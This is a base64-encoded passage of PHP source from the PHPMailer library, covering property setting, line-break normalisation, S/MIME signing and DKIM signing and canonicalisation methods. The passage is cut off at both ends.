ZXQ7CiAgICAgICAgfQogICAgfQogICAgLyoqCiAgICAgKiBTZXQgb3IgcmVzZXQgaW5zdGFuY2UgcHJvcGVydGllcy4KICAgICAqIFlvdSBzaG91bGQgYXZvaWQgdGhpcyBmdW5jdGlvbiAtIGl0J3MgbW9yZSB2ZXJib3NlLCBsZXNzIGVmZmljaWVudCwgbW9yZSBlcnJvci1wcm9uZSBhbmQKICAgICAqIGhhcmRlciB0byBkZWJ1ZyB0aGFuIHNldHRpbmcgcHJvcGVydGllcyBkaXJlY3RseS4KICAgICAqIFVzYWdlIEV4YW1wbGU6CiAgICAgKiBgJG1haWwtPnNldCgnU01UUFNlY3VyZScsICd0bHMnKTtgCiAgICAgKiAgIGlzIHRoZSBzYW1lIGFzOgogICAgICogYCRtYWlsLT5TTVRQU2VjdXJlID0gJ3Rscyc7YC4KICAgICAqCiAgICAgKiBAcGFyYW0gc3RyaW5nICRuYW1lICBUaGUgcHJvcGVydHkgbmFtZSB0byBzZXQKICAgICAqIEBwYXJhbSBtaXhlZCAgJHZhbHVlIFRoZSB2YWx1ZSB0byBzZXQgdGhlIHByb3BlcnR5IHRvCiAgICAgKgogICAgICogQHJldHVybiBib29sCiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBzZXQoJG5hbWUsICR2YWx1ZSA9ICcnKQogICAgewogICAgICAgIGlmIChwcm9wZXJ0eV9leGlzdHMoJHRoaXMsICRuYW1lKSkgewogICAgICAgICAgICAkdGhpcy0+JG5hbWUgPSAkdmFsdWU7CiAgICAgICAgICAgIHJldHVybiB0cnVlOwogICAgICAgIH0KICAgICAgICAkdGhpcy0+c2V0RXJyb3IoJHRoaXMtPmxhbmcoJ3ZhcmlhYmxlX3NldCcpIC4gJG5hbWUpOwogICAgICAgIHJldHVybiBmYWxzZTsKICAgIH0KICAgIC8qKgogICAgICogU3RyaXAgbmV3bGluZXMgdG8gcHJldmVudCBoZWFkZXIgaW5qZWN0aW9uLgogICAgICoKICAgICAqIEBwYXJhbSBzdHJpbmcgJHN0cgogICAgICoKICAgICAqIEByZXR1cm4gc3RyaW5nCiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBzZWN1cmVIZWFkZXIoJHN0cikKICAgIHsKICAgICAgICByZXR1cm4gdHJpbShzdHJfcmVwbGFjZShbIlxyIiwgIlxuIl0sICcnLCAkc3RyKSk7CiAgICB9CiAgICAvKioKICAgICAqIE5vcm1hbGl6ZSBsaW5lIGJyZWFrcyBpbiBhIHN0cmluZy4KICAgICAqIENvbnZlcnRzIFVOSVggTEYsIE1hYyBDUiBhbmQgV2luZG93cyBDUkxGIGxpbmUgYnJlYWtzIGludG8gYSBzaW5nbGUgbGluZSBicmVhayBmb3JtYXQuCiAgICAgKiBEZWZhdWx0cyB0byBDUkxGIChmb3IgbWVzc2FnZSBib2RpZXMpIGFuZCBwcmVzZXJ2ZXMgY29uc2VjdXRpdmUgYnJlYWtzLgogICAgICoKICAgICAqIEBwYXJhbSBzdHJpbmcgJHRleHQKICAgICAqIEBwYXJhbSBzdHJpbmcgJGJyZWFrdHlwZSBXaGF0IGtpbmQgb2YgbGluZSBicmVhayB0byB1c2U7IGRlZmF1bHRzIHRvIHN0YXRpYzo6JExFCiAgICAgKgogICAgICogQHJldHVybiBzdHJpbmcKICAgICAqLwogICAgcHVibGljIHN0YXRpYyBmdW5jdGlvbiBub3JtYWxpemVCcmVha3MoJHRleHQsICRicmVha3R5cGUgPSBudWxsKQogICAgewogICAgICAgIGlmIChudWxsID09PSAkYnJlYWt0eXBlKSB7CiAgICAgICAgICAgICRicmVha3R5cGUgPSBzdGF0aWM6OiRMRTsKICAgICAgICB9CiAgICAgICAgLy8gTm9ybWFsaXNlIHRvIFxuCiAgICAgICAgJHRleHQgPSBzdHJfcmVwbGFjZShbIlxyXG4iLCAiXHIiXSwgIlxuIiwgJHRleHQpOwogICAgICAgIC8vIE5vdyBjb252ZXJ0IExFIGFzIG5lZWRlZAogICAgICAgIGlmICgiXG4iICE9PSAkYnJlYWt0eXBlKSB7CiAgICAgICAgICAgICR0ZXh0ID0gc3RyX3JlcGxhY2UoIlxuIiwgJGJyZWFrdHlwZSwgJHRleHQpOwogICAgICAgIH0KICAgICAgICByZXR1cm4gJHRleHQ7CiAgICB9CiAgICAvKioKICAgICAqIFJldHVybiB0aGUgY3VycmVudCBsaW5lIGJyZWFrIGZvcm1hdCBzdHJpbmcuCiAgICAgKgogICAgICogQHJldHVybiBzdHJpbmcKICAgICAqLwogICAgcHVibGljIHN0YXRpYyBmdW5jdGlvbiBnZXRMRSgpCiAgICB7CiAgICAgICAgcmV0dXJuIHN0YXRpYzo6JExFOwogICAgfQogICAgLyoqCiAgICAgKiBTZXQgdGhlIGxpbmUgYnJlYWsgZm9ybWF0IHN0cmluZywgZS5nLiAiXHJcbiIuCiAgICAgKgogICAgICogQHBhcmFtIHN0cmluZyAkbGUKICAgICAqLwogICAgcHJvdGVjdGVkIHN0YXRpYyBmdW5jdGlvbiBzZXRMRSgkbGUpCiAgICB7CiAgICAgICAgc3RhdGljOjokTEUgPSAkbGU7CiAgICB9CiAgICAvKioKICAgICAqIFNldCB0aGUgcHVibGljIGFuZCBwcml2YXRlIGtleSBmaWxlcyBhbmQgcGFzc3dvcmQgZm9yIFMvTUlNRSBzaWduaW5nLgogICAgICoKICAgICAqIEBwYXJhbSBzdHJpbmcgJGNlcnRfZmlsZW5hbWUKICAgICAqIEBwYXJhbSBzdHJpbmcgJGtleV9maWxlbmFtZQogICAgICogQHBhcmFtIHN0cmluZyAka2V5X3Bhc3MgICAgICAgICAgICBQYXNzd29yZCBmb3IgcHJpdmF0ZSBrZXkKICAgICAqIEBwYXJhbSBzdHJpbmcgJGV4dHJhY2VydHNfZmlsZW5hbWUgT3B0aW9uYWwgcGF0aCB0byBjaGFpbiBjZXJ0aWZpY2F0ZQogICAgICovCiAgICBwdWJsaWMgZnVuY3Rpb24gc2lnbigkY2VydF9maWxlbmFtZSwgJGtleV9maWxlbmFtZSwgJGtleV9wYXNzLCAkZXh0cmFjZXJ0c19maWxlbmFtZSA9ICcnKQogICAgewogICAgICAgICR0aGlzLT5zaWduX2NlcnRfZmlsZSA9ICRjZXJ0X2ZpbGVuYW1lOwogICAgICAgICR0aGlzLT5zaWduX2tleV9maWxlID0gJGtleV9maWxlbmFtZTsKICAgICAgICAkdGhpcy0+c2lnbl9rZXlfcGFzcyA9ICRrZXlfcGFzczsKICAgICAgICAkdGhpcy0+c2lnbl9leHRyYWNlcnRzX2ZpbGUgPSAkZXh0cmFjZXJ0c19maWxlbmFtZTsKICAgIH0KICAgIC8qKgogICAgICogUXVvdGVkLVByaW50YWJsZS1lbmNvZGUgYSBES0lNIGhlYWRlci4KICAgICAqCiAgICAgKiBAcGFyYW0gc3RyaW5nICR0eHQKICAgICAqCiAgICAgKiBAcmV0dXJuIHN0cmluZwogICAgICovCiAgICBwdWJsaWMgZnVuY3Rpb24gREtJTV9RUCgkdHh0KQogICAgewogICAgICAgICRsaW5lID0gJyc7CiAgICAgICAgJGxlbiA9IHN0cmxlbigkdHh0KTsKICAgICAgICBmb3IgKCRpID0gMDsgJGkgPCAkbGVuOyArKyRpKSB7CiAgICAgICAgICAgICRvcmQgPSBvcmQoJHR4dFskaV0pOwogICAgICAgICAgICBpZiAoKCgweDIxIDw9ICRvcmQpIGFuZCAoJG9yZCA8PSAweDNBKSkgb3IgJG9yZCA9PSAweDNDIG9yICgoMHgzRSA8PSAkb3JkKSBhbmQgKCRvcmQgPD0gMHg3RSkpKSB7CiAgICAgICAgICAgICAgICAkbGluZSAuPSAkdHh0WyRpXTsKICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICRsaW5lIC49ICc9JyAuIHNwcmludGYoJyUwMlgnLCAkb3JkKTsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICByZXR1cm4gJGxpbmU7CiAgICB9CiAgICAvKioKICAgICAqIEdlbmVyYXRlIGEgREtJTSBzaWduYXR1cmUuCiAgICAgKgogICAgICogQHBhcmFtIHN0cmluZyAkc2lnbkhlYWRlcgogICAgICoKICAgICAqIEB0aHJvd3MgRXhjZXB0aW9uCiAgICAgKgogICAgICogQHJldHVybiBzdHJpbmcgVGhlIERLSU0gc2lnbmF0dXJlIHZhbHVlCiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBES0lNX1NpZ24oJHNpZ25IZWFkZXIpCiAgICB7CiAgICAgICAgaWYgKCFkZWZpbmVkKCdQS0NTN19URVhUJykpIHsKICAgICAgICAgICAgaWYgKCR0aGlzLT5leGNlcHRpb25zKSB7CiAgICAgICAgICAgICAgICB0aHJvdyBuZXcgRXhjZXB0aW9uKCR0aGlzLT5sYW5nKCdleHRlbnNpb25fbWlzc2luZycpIC4gJ29wZW5zc2wnKTsKICAgICAgICAgICAgfQogICAgICAgICAgICByZXR1cm4gJyc7CiAgICAgICAgfQogICAgICAgICRwcml2S2V5U3RyID0gIWVtcHR5KCR0aGlzLT5ES0lNX3ByaXZhdGVfc3RyaW5nKSA/CiAgICAgICAgICAgICR0aGlzLT5ES0lNX3ByaXZhdGVfc3RyaW5nIDoKICAgICAgICAgICAgZmlsZV9nZXRfY29udGVudHMoJHRoaXMtPkRLSU1fcHJpdmF0ZSk7CiAgICAgICAgaWYgKCcnICE9ICR0aGlzLT5ES0lNX3Bhc3NwaHJhc2UpIHsKICAgICAgICAgICAgJHByaXZLZXkgPSBvcGVuc3NsX3BrZXlfZ2V0X3ByaXZhdGUoJHByaXZLZXlTdHIsICR0aGlzLT5ES0lNX3Bhc3NwaHJhc2UpOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICRwcml2S2V5ID0gb3BlbnNzbF9wa2V5X2dldF9wcml2YXRlKCRwcml2S2V5U3RyKTsKICAgICAgICB9CiAgICAgICAgaWYgKG9wZW5zc2xfc2lnbigkc2lnbkhlYWRlciwgJHNpZ25hdHVyZSwgJHByaXZLZXksICdzaGEyNTZXaXRoUlNBRW5jcnlwdGlvbicpKSB7CiAgICAgICAgICAgIG9wZW5zc2xfcGtleV9mcmVlKCRwcml2S2V5KTsKICAgICAgICAgICAgcmV0dXJuIGJhc2U2NF9lbmNvZGUoJHNpZ25hdHVyZSk7CiAgICAgICAgfQogICAgICAgIG9wZW5zc2xfcGtleV9mcmVlKCRwcml2S2V5KTsKICAgICAgICByZXR1cm4gJyc7CiAgICB9CiAgICAvKioKICAgICAqIEdlbmVyYXRlIGEgREtJTSBjYW5vbmljYWxpemF0aW9uIGhlYWRlci4KICAgICAqIFVzZXMgdGhlICdyZWxheGVkJyBhbGdvcml0aG0gZnJvbSBSRkM2Mzc2IHNlY3Rpb24gMy40LjIuCiAgICAgKiBDYW5vbmljYWxpemVkIGhlYWRlcnMgc2hvdWxkICphbHdheXMqIHVzZSBDUkxGLCByZWdhcmRsZXNzIG9mIG1haWxlciBzZXR0aW5nLgogICAgICoKICAgICAqIEBzZWUgICAgaHR0cHM6Ly90b29scy5pZXRmLm9yZy9odG1sL3JmYzYzNzYjc2VjdGlvbi0zLjQuMgogICAgICoKICAgICAqIEBwYXJhbSBzdHJpbmcgJHNpZ25IZWFkZXIgSGVhZGVyCiAgICAgKgogICAgICogQHJldHVybiBzdHJpbmcKICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIERLSU1fSGVhZGVyQygkc2lnbkhlYWRlcikKICAgIHsKICAgICAgICAvL1VuZm9sZCBhbGwgaGVhZGVyIGNvbnRpbnVhdGlvbiBsaW5lcwogICAgICAgIC8vQWxzbyBjb2xsYXBzZXMgZm9sZGVkIHdoaXRlc3BhY2UuCiAgICAgICAgLy9Ob3RlIFBDUkUgXHMgaXMgdG9vIGJyb2FkIGEgZGVmaW5pdGlvbiBvZiB3aGl0ZXNwYWNlOyBSRkM1MzIyIGRlZmluZXMgaXQgYXMgYFsgXHRdYAogICAgICAgIC8vQHNlZSBodHRwczovL3Rvb2xzLmlldGYub3JnL2h0bWwvcmZjNTMyMiNzZWN0aW9uLTIuMgogICAgICAgIC8vVGhhdCBtZWFucyB0aGlzIG1heSBicmVhayBpZiB5b3UgZG8gc29tZXRoaW5nIGRhZnQgbGlrZSBwdXQgdmVydGljYWwgdGFicyBpbiB5b3VyIGhlYWRlcnMuCiAgICAgICAgJHNpZ25IZWFkZXIgPSBwcmVnX3JlcGxhY2UoJy9cclxuWyBcdF0rLycsICcgJywgJHNpZ25IZWFkZXIpOwogICAgICAgICRsaW5lcyA9IGV4cGxvZGUoIlxyXG4iLCAkc2lnbkhlYWRlcik7CiAgICAgICAgZm9yZWFjaCAoJGxpbmVzIGFzICRrZXkgPT4gJGxpbmUpIHsKICAgICAgICAgICAgLy9JZiB0aGUgaGVhZGVyIGlzIG1pc3NpbmcgYSA6LCBza2lwIGl0IGFzIGl0J3MgaW52YWxpZAogICAgICAgICAgICAvL1RoaXMgaXMgbGlrZWx5IHRvIGhhcHBlbiBiZWNhdXNlIHRoZSBleHBsb2RlKCkgYWJvdmUgd2lsbCBhbHNvIHNwbGl0CiAgICAgICAgICAgIC8vb24gdGhlIHRyYWlsaW5nIExFLCBsZWF2aW5nIGFuIGVtcHR5IGxpbmUKICAgICAgICAgICAgaWYgKHN0cnBvcygkbGluZSwgJzonKSA9PT0gZmFsc2UpIHsKICAgICAgICAgICAgICAgIGNvbnRpbnVlOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGxpc3QoJGhlYWRpbmcsICR2YWx1ZSkgPSBleHBsb2RlKCc6JywgJGxpbmUsIDIpOwogICAgICAgICAgICAvL0xvd2VyLWNhc2UgaGVhZGVyIG5hbWUKICAgICAgICAgICAgJGhlYWRpbmcgPSBzdHJ0b2xvd2VyKCRoZWFkaW5nKTsKICAgICAgICAgICAgLy9Db2xsYXBzZSB3aGl0ZSBzcGFjZSB3aXRoaW4gdGhlIHZhbHVlCiAgICAgICAgICAgICR2YWx1ZSA9IHByZWdfcmVwbGFjZSgnL1sgXHRdezIsfS8nLCAnICcsICR2YWx1ZSk7CiAgICAgICAgICAgIC8vUkZDNjM3NiBpcyBzbGlnaHRseSB1bmNsZWFyIGhlcmUgLSBpdCBzYXlzIHRvIGRlbGV0ZSBzcGFjZSBhdCB0aGUgKmVuZCogb2YgZWFjaCB2YWx1ZQogICAgICAgICAgICAvL0J1dCB0aGVuIHNheXMgdG8gZGVsZXRlIHNwYWNlIGJlZm9yZSBhbmQgYWZ0ZXIgdGhlIGNvbG9uLgogICAgICAgICAgICAvL05ldCByZXN1bHQgaXMgdGhlIHNhbWUgYXMgdHJpbW1pbmcgYm90aCBlbmRzIG9mIHRoZSB2YWx1ZS4KICAgICAgICAgICAgLy9ieSBlbGltaW5hdGlvbiwgdGhlIHNhbWUgYXBwbGllcyB0byB0aGUgZmllbGQgbmFtZQogICAgICAgICAgICAkbGluZXNbJGtleV0gPSB0cmltKCRoZWFkaW5nLCAiIFx0IikgLiAnOicgLiB0cmltKCR2YWx1ZSwgIiBcdCIpOwogICAgICAgIH0KICAgICAgICByZXR1cm4gaW1wbG9kZSgiXHJcbiIsICRsaW5lcyk7CiAgICB9CiAgICAvKioKICAgICAqIEdlbmVyYXRlIGEgREtJTSBjYW5vbmljYWxpemF0aW9uIGJvZHkuCiAgICAgKiBVc2VzIHRoZSAnc2ltcGxlJyBhbGdvcml0aG0gZnJvbSBSRkM2Mzc2IHNlY3Rpb24gMy40LjMuCiAgICAgKiBDYW5vbmljYWxpemVkIGJvZGllcyBzaG91bGQgKmFsd2F5cyogdXNlIENSTEYsIHJlZ2FyZGxlc3Mgb2YgbWFpbGVyIHNldHRpbmcuCiAgICAgKgogICAgICogQHNlZSAgICBodHRwczovL3Rvb2xzLmlldGYub3JnL2h0bWwvcmZjNjM3NiNzZWN0aW9uLTMuNC4zCiAgICAgKgogICAgICogQHBhcmFtIHN0cmluZyAkYm9keSBNZXNzYWdlIEJvZHkKICAgICAqCiAgICAgKiBAcmV0dXJuIHN0cmluZwogICAgICovCiAgICBwdWJsaWMgZnVuY3Rpb24gREtJTV9Cb2R5QygkYm9keSkKICAgIHsKICAgICAgICBpZiAoZW1wdHkoJGJvZHkpKSB7CiAgICAgICAgICAgIHJldHVybiAiXHJcbiI7CiAgICAgICAgfQogICAgICAgIC8vIE5vcm1hbGl6ZSBsaW5lIGVuZGluZ3MgdG8gQ1JMRgogICAgICAgICRib2R5ID0gc3RhdGljOjpub3JtYWxpemVCcmVha3MoJGJvZHksICJcclxuIik7CiAgICAgICAgLy9SZWR1Y2UgbXVsdGlwbGUgdHJhaWxpbmcgbGluZSBicmVha3MgdG8gYSBzaW5nbGUgb25lCiAgICAgICAgcmV0dXJuIHJ0cmltKCRib2R5LCAiXHJcbiIpIC4gIlxyXG4iOwogICAgfQogICAgLyoqCiAgICAgKiBDcmVhdGUgdGhlIERLSU0gaGVhZGVyIGFuZCBib2R5IGluIGEgbmV3IG1lc3NhZ2UgaGVhZGVyLgogICAgICoKICAgICAqIEBwYXJhbSBzdHJpbmcgJGhlYWRlcnNfbGluZSBIZWFkZXIgbGluZXMKICAgICAqIEBwYXJhbSBzdHJpbmcgJHN1YmplY3QgICAgICBTdWJqZWN0CiAgICAgKiBAcGFyYW0gc3RyaW5nICRib2R5ICAgICAgICAgQm9keQogICAgICoKICAgICAqIEByZXR1cm4gc3RyaW5nCiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBES0lNX0FkZCgkaGVhZGVyc19saW5lLCAkc3ViamVjdCwgJGJvZHkpCiAgICB7CiAgICAgICAgJERLSU1zaWduYXR1cmVUeXBlID0gJ3JzYS1zaGEyNTYnOyAvLyBTaWduYXR1cmUgJiBoYXNoIGFsZ29yaXRobXMKICAgICAgICAkREtJTWNhbm9uaWNhbGl6YXRpb24gPSAncmVsYXhlZC9zaW1wbGUnOyAvLyBDYW5vbmljYWxpemF0aW9uIG9mIGhlYWRlci9ib2R5CiAgICAgICAgJERLSU1xdWVyeSA9ICdkbnMvdHh0JzsgLy8gUXVlcnkgbWV0aG9kCiAgICAgICAgJERLSU10aW1lID0gdGltZSgpOyAvLyBTaWduYXR1cmUgVGltZXN0YW1wID0gc2Vjb25kcyBzaW5jZSAwMDowMDowMCAtIEphbiAxLCAxOTcwIChVVEMgdGltZSB6b25lKQogICAgICAgICRzdWJqZWN0X2hlYWRlciA9ICJTdWJqZWN0OiAkc3ViamVjdCI7CiAgICAgICAgJGhlYWRlcnMgPSBleHBsb2RlKHN0YXRpYzo6JExFLCAkaGVhZGVyc19saW5lKTsKICAgICAgICAkZnJvbV9oZWFkZXIgPSAnJzsKICAgICAgICAkdG9faGVhZGVyID0gJyc7CiAgICAgICAgJGRhdGVfaGVhZGVyID0gJyc7CiAgICAgICAgJGN1cnJlbnQgPSAnJzsKICAgICAgICAkY29waWVkSGVhZGVyRmllbGRzID0gJyc7CiAgICAgICAgJGZvdW5kRXh0cmFIZWFkZXJzID0gW107CiAgICAgICAgJGV4dHJhSGVhZGVyS2V5cyA9ICcnOwogICAgICAgICRleHRyYUhlYWRlclZhbHVlcyA9ICcnOwogICAgICAgICRleHRyYUNvcHlIZWFkZXJGaWVsZHMgPSAnJzsKICAgICAgICBmb3JlYWNoICgkaGVhZGVycyBhcyAkaGVhZGVyKSB7CiAgICAgICAgICAgIGlmIChzdHJwb3MoJGhlYWRlciwgJ0Zyb206JykgPT09IDApIHsKICAgICAgICAgICAgICAgICRmcm9tX2hlYWRlciA9ICRoZWFkZXI7CiAgICAgICAgICAgICAgICAkY3VycmVudCA9ICdmcm9tX2hlYWRlcic7CiAgICAgICAgICAgIH0gZWxzZWlmIChzdHJwb3MoJGhlYWRlciwgJ1RvOicpID09PSAwKSB7CiAgICAgICAgICAgICAgICAkdG9faGVhZGVyID0gJGhlYWRlcjsKICAgICAgICAgICAgICAgICRjdXJyZW50ID0gJ3RvX2hlYWRlcic7CiAgICAgICAgICAgIH0gZWxzZWlmIChzdHJwb3MoJGhlYWRlciwgJ0RhdGU6JykgPT09IDApIHsKICAgICAgICAgICAgICAgICRkYXRlX2hlYWRlciA9ICRoZWFkZXI7CiAgICAgICAgICAgICAgICAkY3VycmVudCA9ICdkYXRlX2hlYWRlcic7CiAgICAgICAgICAgIH0gZWxzZWlmICghZW1wdHkoJHRoaXMtPkRLSU1fZXh0cmFIZWFkZXJzKSkgewogICAgICAgICAgICAgICAgZm9yZWFjaCAoJHRoaXMtPkRLSU1fZXh0cmFIZWFkZXJzIGFzICRleHRyYUhlYWRlcikgewogICAgICAgICAgICAgICAgICAgIGlmIChzdHJwb3MoJGhlYWRlciwgJGV4dHJhSGVhZGVyIC4gJzonKSA9PT0gMCkgewogICAgICAgICAgICAgICAgICAgICAgICAkaGVhZGVyVmFsdWUgPSAkaGVhZGVyOwogICAgICAgICAgICAgICAgICAgICAgICBmb3JlYWNoICgkdGhpcy0+Q3VzdG9tSGVhZGVyIGFzICRjdXN0b21IZWFkZXIpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkY3VzdG9tSGVhZGVyWzBdID09PSAkZXh0cmFIZWFkZXIpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkaGVhZGVyVmFsdWUgPSB0cmltKCRjdXN0b21IZWFkZXJbMF0pIC4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJzogJyAuCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR0aGlzLT5lbmNvZGVIZWFkZXIodHJpbSgkY3VzdG9tSGVhZGVyWzFdKSk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgJGZvdW5kRXh0cmFIZWFkZXJzWyRleHRyYUhlYWRlcl0gPSAkaGVhZGVyVmFsdWU7CiAgICAgICAgICAgICAgICAgICAgICAgICRjdXJyZW50ID0gJyc7CiAgICAgICAgICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgIGlmICghZW1wdHkoJCRjdXJyZW50KSBhbmQgc3RycG9zKCRoZWFkZXIsICcgPT8nKSA9PT0gMCkgewogICAgICAgICAgICAgICAgICAgICQkY3VycmVudCAuPSAkaGVhZGVyOwogICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICAkY3VycmVudCA9ICcnOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgIGZvcmVhY2ggKCRmb3VuZEV4dHJhSGVhZGVycyBhcyAka2V5ID0+ICR2YWx1ZSkgewogICAgICAgICAgICAkZXh0cmFIZWFkZXJLZXlzIC49ICc6JyAuICRrZXk7CiAgICAgICAgICAgICRleHRyYUhlYWRlclZhbHVlcyAuPSAkdmFsdWUgLiAiXHJcbiI7CiAgICAgICAgICAgIGlmICgkdGhpcy0+REtJTV9jb3B5SGVhZGVyRmllbGRzKSB7CiAgICAgICAgICAgICAgICAkZXh0cmFDb3B5SGVhZGVyRmllbGRzIC49ICJcdHwiIC4gc3RyX3JlcGxhY2UoJ3wnLCAnPTdDJywgJHRoaXMtPkRLSU1fUVAoJHZhbHVlKSkgLiAiO1xyXG4iOwogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgIGlmICgkdGhpcy0+REtJTV9jb3B5SGVhZGVyRmllbGRzKSB7CiAgICAgICAgICAgICRmcm9tID0gc3RyX3JlcGxhY2UoJ3wnLCAnPTdDJywgJHRoaXMtPkRLSU1fUVAoJGZyb21faGVhZGVyKSk7CiAgICAgICAgICAgICR0byA9IHN0cl9yZXBsYWNlKCd8JywgJz03QycsICR0aGlzLT5ES0lNX1FQKCR0b19oZWFkZXIpKTsKICAgICAgICAgICAgJGRhdGUgPSBzdHJfcmVwbGFjZSgnfCcsICc9N0MnLCAkdGhpcy0+REtJTV9RUCgkZGF0ZV9oZWFkZXIpKTsKICAgICAgICAgICAgJHN1YmplY3QgPSBzdHJfcmVwbGFjZSgnfCcsICc9N0MnLCAkdGhpcy0+REtJTV9RUCgkc3ViamVjdF9oZWFkZXIpKTsKICAgICAgICAgICAgJGNvcGllZEhlYWRlckZpZWxkcyA9ICJcdHo9JGZyb21cclxuIiAuCiAgICAgICAgICAgICAgICAiXHR8JHRvXHJcbiIgLgogICAgICAgICAgICAgICAgIlx0fCRkYXRlXHJcbiIgLgogICAgICAgICAgICAgICAgIlx0fCRzdWJqZWN0O1xyXG4iIC4KICAgICAgICAgICAgICAgICRleHRyYUNvcHlIZWFkZXJGaWVsZHM7CiAgICAgICAgfQogICAgICAgICRib2R5ID0gJHRoaXMtPkRLSU1fQm9keUMoJGJvZHkpOwogICAgICAgICRES0lNbGVuID0gc3RybGVuKCRib2R5KTsgLy8gTGVuZ3RoIG9mIGJvZHkKICAgICAgICAkREtJTWI2NCA9IGJhc2U2NF9lbmNvZGUocGFjaygnSConLCBoYXNoKCdzaGEyNTYnLCAkYm9keSkpKTsgLy8gQmFzZTY0IG9mIHBhY2tlZCBiaW5hcnkgU0hBLTI1NiBoYXNoIG9mIGJvZHkKICAgICAgICBpZiAoJycgPT0gJHRoaXMtPkRLSU1faWRlbnRpdHkpIHsKICAgICAgICAgICAgJGlkZW50ID0gJyc7CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgJGlkZW50ID0gJyBpPScgLiAkdGhpcy0+REtJTV9pZGVudGl0eSAuICc7JzsKICAgICAgICB9CiAgICAgICAgJGRraW1oZHJzID0gJ0RLSU0tU2lnbmF0dXJlOiB2PTE7IGE9JyAuCiAgICAgICAgICAgICRES0lNc2lnbmF0dXJlVHlwZSAuICc7IHE9JyAuCiAgICAgICAgICAgICRES0lNcXVlcnkgLiAnOyBsPScgLgogICAgICAgICAgICAkREtJTWxlbiAuICc7IHM9JyAuCiAgICAgICAgICAgICR0aGlzLT5ES0lNX3NlbGVjdG9yIC4KICAgICAgICAgICAgIjtcclxuIiAuCiAgICAgICAgICAgICJcdHQ9IiAuICRES0lNdGltZSAuICc7IGM9JyAuICRES0lNY2Fub25pY2FsaXphdGlvbiAuICI7XHJcbiIgLgogICAgICAgICAgICAiXHRoPUZyb206VG86RGF0ZTpTdWJqZWN0IiAuICRleHRyYUhlYWRlcktleXMgLiAiO1xyXG4iIC4KICAgICAgICAgICAgIlx0ZD0iIC4gJHRoaXMtPkRLSU1fZG9tYWluIC4gJzsnIC4gJGlkZW50IC4gIlxyXG4iIC4KICAgICAgICAgICAgJGNvcGllZEhlYWRlckZpZWxkcyAuCiAgICAgICAgICAgICJcdGJoPSIgLiAkREtJTWI2NCAuICI7XHJcbiIgLgogICAgICAgICAgICAiXHRiPSI7CiAgICAgICAgJHRvU2lnbiA9ICR0aGlzLT5ES0lNX0hlYWRlckMoCiAgICAgICAgICAgICRmcm9tX2hlYWRlciAuICJcclxuIiAuCiAgICAgICAgICAgICAgICAkdG9faGVhZGVyIC4gIlxyXG4iIC4KICAgICAgICAgICAgICAgICRkYXRlX2hlYWRlciAuICJcclxuIiAuCiAgICAgICAgICAgICAgICAkc3ViamVjdF9oZWFkZXIgLiAiXHJcbiIgLgogICAgICAgICAgICAgICAgJGV4dHJhSGVhZGVyVmFsdWVzIC4KICAgICAgICAgICAgICAgICRka2ltaGRycwogICAgICAgICk7CiAgICAgICAgJHNpZ25lZCA9ICR0aGlzLT5ES0lNX1NpZ24oJHRvU2lnbik7CiAgICAgICAgcmV0dXJuIHN0YXRpYzo6bm9ybWFsaXplQnJlYWtzKCRka2ltaGRycyAuICRzaWduZWQpIC4gc3RhdGljOjokTEU7CiAgICB9CiAgICAvKioKICAgICAqIERldGVjdCBpZiBhIHN0cmluZyBjb250YWlucyBhIGxpbmUgbG9uZ2VyIHRoYW4gdGhlIG1heGltdW0gbGluZSBsZW5ndGgKICAgICAqIGFsbG93ZWQgYnkgUkZDIDI4MjIgc2VjdGlvbiAyLjEuMS4KICAgICAqCiAgICAgKiBAcGFyYW0gc3RyaW5nICRzdHIKICAgICAqCiAgICAgKiBAcmV0dXJuIGJvb2wKICAgICAqLwogICAgcHVibGljIHN0YXRpYyBmdW5jdGlvbiBoYXNMaW5lTG9uZ2VyVGhhbk1heCgkc3RyKQogICAgewogICAgICAgIHJldHVybiAoYm9vbCkgcHJlZ19tYXRjaCgnL14oLnsnIC4gKHNlbGY6Ok1BWF9MSU5FX0xFTkdUSCArIHN0cmxlbihzdGF0aWM6OiRMRSkpIC4gJyx9KS9tJywgJHN0cik7CiAgICB9CiAgICAvKioKICAgICAqIEFsbG93cyBmb3IgcHVibGljIHJlYWQgYWNjZXNzIHRvICd0bycgcHJvcGVydHkuCiAgICAgKiBCZWZvcmUgdGhlIHNlbmQoKSBjYWxsLCBxdWV1ZWQgYWRkcmVzc2VzIChpLmUuIHdpdGggSUROKSBhcmUgbm90IHlldCBpbmNsdWRlZC4KICAgICAqCiAgICAgKiBAcmV0dXJuIGFycmF5CiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBnZXRUb0FkZHJlc3NlcygpCiAgICB7CiAgICAgICAgcmV0dXJuICR0aGlzLT50bzsKICAgIH0KICAgIC8qKgogICAgICogQWxsb3dzIGZvciBwdWJsaWMgcmVhZCBhY2Nlc3MgdG8gJ2NjJyBwcm9wZXJ0eS4KICAgICAqIEJlZm9yZSB0aGUgc2VuZCgpIGNhbGwsIHF1ZXVlZCBhZGRyZXNzZXMgKGkuZS4gd2l0aCBJRE4pIGFy